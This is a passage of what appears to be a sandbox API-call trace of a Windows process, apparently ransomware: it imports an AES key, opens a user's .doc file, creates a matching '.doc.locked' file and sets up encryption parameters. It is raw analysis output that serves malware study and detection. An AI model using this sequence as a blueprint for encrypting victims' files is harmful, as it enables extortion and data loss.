(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.247] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.247] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0133.247] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.247] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.247] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0133.247] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.247] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.247] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.248] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0133.248] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0133.248] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.248] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0133.248] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.248] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.248] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0133.248] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.248] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.248] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0133.248] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.248] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.249] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.249] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0133.249] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.249] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.249] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.249] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.249] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0133.249] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.249] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.249] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.249] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.249] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0133.249] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.249] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.249] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.249] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.249] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0133.249] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.249] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.249] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.249] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.250] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.250] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.250] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.250] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.250] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.250] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.250] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.250] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.250] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.250] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.251] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.251] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0133.251] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e028b0) returned 1 [0133.252] CryptImportKey (in: hProv=0x8e028b0, pbData=0x6af6394, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e849b8) returned 1 [0133.252] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.252] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.252] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.252] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.252] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.252] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc")) returned 0x20 [0133.252] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc")) returned 0x20 [0133.253] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.253] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.253] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.253] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.253] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.253] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0133.253] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.253] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.253] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.253] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.253] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0133.254] GetFileType (hFile=0x858) returned 0x1 [0133.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.254] GetFileType (hFile=0x858) returned 0x1 [0133.254] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.254] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0133.254] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.254] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.254] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.254] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked", lpFilePart=0x0) returned 0x39 [0133.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.254] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0133.255] GetFileType (hFile=0x874) returned 0x1 [0133.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.255] GetFileType (hFile=0x874) returned 0x1 [0133.255] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.255] CryptGenRandom (in: hProv=0x8e028b0, dwLen=0x10, pbBuffer=0x6b0bd68 | out: pbBuffer=0x6b0bd68) returned 1 [0133.255] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.255] CryptDuplicateKey (in: hKey=0x8e849b8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84a78) returned 1 [0133.255] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.256] CryptSetKeyParam (hKey=0x8e84a78, dwParam=0x4, pbData=0x6b0d024*=0x1, dwFlags=0x0) returned 1 [0133.256] CryptSetKeyParam (hKey=0x8e84a78, dwParam=0x1, pbData=0x6b0cff0, dwFlags=0x0) returned 1 [0133.256] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xb40\x438\x24a") returned 0x0 [0133.256] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.256] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.256] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.256] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, 